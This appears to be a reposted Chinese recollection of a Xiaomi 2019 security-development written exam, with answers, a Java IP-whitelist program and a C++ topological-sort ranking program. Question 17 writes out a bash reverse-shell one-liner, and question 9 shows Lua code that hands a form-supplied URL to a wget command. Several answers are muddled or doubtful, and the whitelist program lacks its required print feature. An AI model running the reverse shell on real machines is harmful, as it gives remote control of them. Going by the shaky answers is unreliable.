admin管理员组文章数量:1531659
1、关于数字签名说法错误的是
- 确定消息确实是由发送方签名并发出来的
- 数字签名能确定消息的完整性
- 私钥用于签名,公钥用于验证
2、CORS的作用是?
- 允许客户端获取服务器的返回数据
3、下面关于AJAX说法正确的是?
- AJAX可以完成数据的跨域
错误的是:
- AJAX可以给不同域发送数据
- AJAX可以获取不同域的数据
- AJAX使用了同步技术
4、MD5是?
- 哈希算法
5、在linux中,将文件属性设置为所有者只读,其余无任何权限的命令为(假设文件名为myfile)
chmod 400 myfile
6、以下哪个方法不能实现对系统网络外连行为的监控
- 查看
/var/log/lastlog
记录
可以尝试的方法:
- 使用hook技术替换c库函数connect
- 使用auitd监控connect系统调用
7、在linux文件系统权限中(rwx),只读权限对应的数值为
- 4
补充:
- 第一个符号代表文件的类型
- 如果是一个普通文件为"-",
- 如果是一个目录为"d",
- 如果是一个软连接为"l"
- 如果是一个字符设备为"c"
- 如果是一个块文件为"b"
- 第一组表示文件所有者拥有的的权限
- "x"表示该文件拥有执行的权限
- "r"表示该文件拥有读取的权限
- "w"表示该文件拥有修改的权限
- “-” 表示暂时还没有其他权限
- 第二组表示该文件所在组的用户拥有的权限
- 第三组表示其他组的用户所拥有的权限
- "rwx"权限还可以使用数字来表示为:r=4,w=2,x=1,所以rwx=4+2+1=7
8、升级包
设备升级过程中使用了 curl https://ota.a/update.bin -k -o /tmp/update.bin
命令获取升级包,下列说法正确的是?
- 升级包忽略了证书校验,会造成中间人攻击
9、下面这段代码会造成什么问题?
function upgradeRom()
local XQFunction = require("xiaoqiangmon.XQFunction")
local XQSysUtil = require("xiaoqiang.util.XQSysUtil")
local url = LuciHttp.formvalue("url")
url = url:gsub("'", "")
if url
XQFunction.forkExec(string.format("wget '%s'", url))
else
XQFunction.forkExec("/usr/sbin/crontab_rom.sh")
end
end
- 没有任何漏洞
10、Linux的可执行文件开头的特征字符串是什么
- ELF
11、下说法错误的是
- RSA和DSA的功能一样,只是不同的算法
- Hash是可逆的,Hash一般会导致信息熵减小
12、cookie的基础属性有哪些?
- Domain
- path
- httponly
- secure
- expires
13、下面有那些技术是在https应用到的?
- 对称加密
- 非对称加密
- 密钥交换
- 哈希算法
14、使用下面那种方式可以产生跨域攻击?
- CORS
- windows.name
- windows.postMessage
15、以下哪些方式被认为是DDOS攻击
- ICMP Flood
- SYNFlood
- DNSQuery Flood
- UDPFlood
16、关于SYNFlood攻击,以下说法正确的是
- 此种方式不需要建立完整的TCP三次握手
- 此种攻击方式是客户端主动发起的SYN半连接引起的
17、关于这条命令,说法正确的是
bash -i >& /dev/tcp/192.168.1.2/8080 0>&1
- 通过在192.168.1.2上监听8080,可以远程操作运行了此命令的机器
- 这是一个反弹shell
18、下面哪些命令和工具对 firmware 分析有帮助?
- binwalk
- file
- firmware-mod-kit
19、哪些是常用的逆向分析工具
- gdb
- IDA
- ollydbg
20、以下哪些属于缓冲区溢出保护机制?
- PIE
- NX
- STACK CANARY
21、编程题
我们的小齐同学是一名很辛苦的实习DBA,他每天的工作就是为一个帐号添加授权,今天给这200个ipv4添加授权,明天又要把这200个授权删掉,有一天小齐同学在删除授权的时候不小心把所有的授权都删了,被领导很批了一顿。痛定思痛,小齐同学开始反思他每天的工作,发现无非就是我每天要让那些ip访问数据库而已,他决定写一个效率很高的ip白名单,请帮小齐同学说一下实现思路,并用结构化编程语言(c/c++/python/golang/java等)写一个ip白名单吧,他需要这个白名单有添加ip的功能,删除ip的功能,查找这个ip在不在白名单中,以及打印白名单中的内容,以上四个功能中查找ip是否在白名单中效率一定要高。并帮小齐分析一下各个功能的时间复杂度,写的好小齐同学会请你吃饭哦
import java.util.HashSet;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
HashSet<String> set = new HashSet<>();
while (!scanner.hasNext("end")) {
String command = scanner.next();
char c = command.charAt(0);
String ip = command.substring(2);
switch (c) {
case 'i':
set.add(ip);
System.out.println("ok");
break;
case 'd':
set.remove(ip);
System.out.println("ok");
break;
case 's':
System.out.println(set.contains(ip));
break;
}
}
}
}
有N个比赛队(1<=N<=500),编号依次为1,2,3,。。。。,N进行比赛,比赛结束后,裁判委员会要将所有参赛队伍从前往后依次排名,但现在裁判委员会不能直接获得每个队的比赛成绩,只知道每场比赛的结果,即P1赢P2,用P1,P2表示,排名时P1在P2之前。现在请你编程序确定排名。
#include <bits/stdc++.h>
using namespace std;
int main(){
int n,m;
while(cin>>n>>m){
vector<int> Edge[n+1];
int inDegree[n+1];
memset(inDegree,0,sizeof(inDegree));
for(int i=0;i<m;i++){
int a,b;
cin>>a>>b;
Edge[a].push_back(b);
inDegree[b]++;
}
priority_queue<int, vector<int>, greater<int>> Q;
for(int i=1;i<=n;i++)
if(inDegree[i]==0)
Q.push(i);
int cnt = 1;
while(!Q.empty()){
int u = Q.top();
Q.pop();
if(cnt==n)
cout<<u<<endl;
else
cout<<u<<" ";
cnt++;
for(int i=0;i<Edge[u].size();i++){
int v = Edge[u][i];
inDegree[v]--;
if(inDegree[v]==0)
Q.push(v);
}
}
}
return 0;
}
版权声明:本文标题:小米2019秋招安全开发笔试题(A) 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dongtai/1726415951a1069814.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论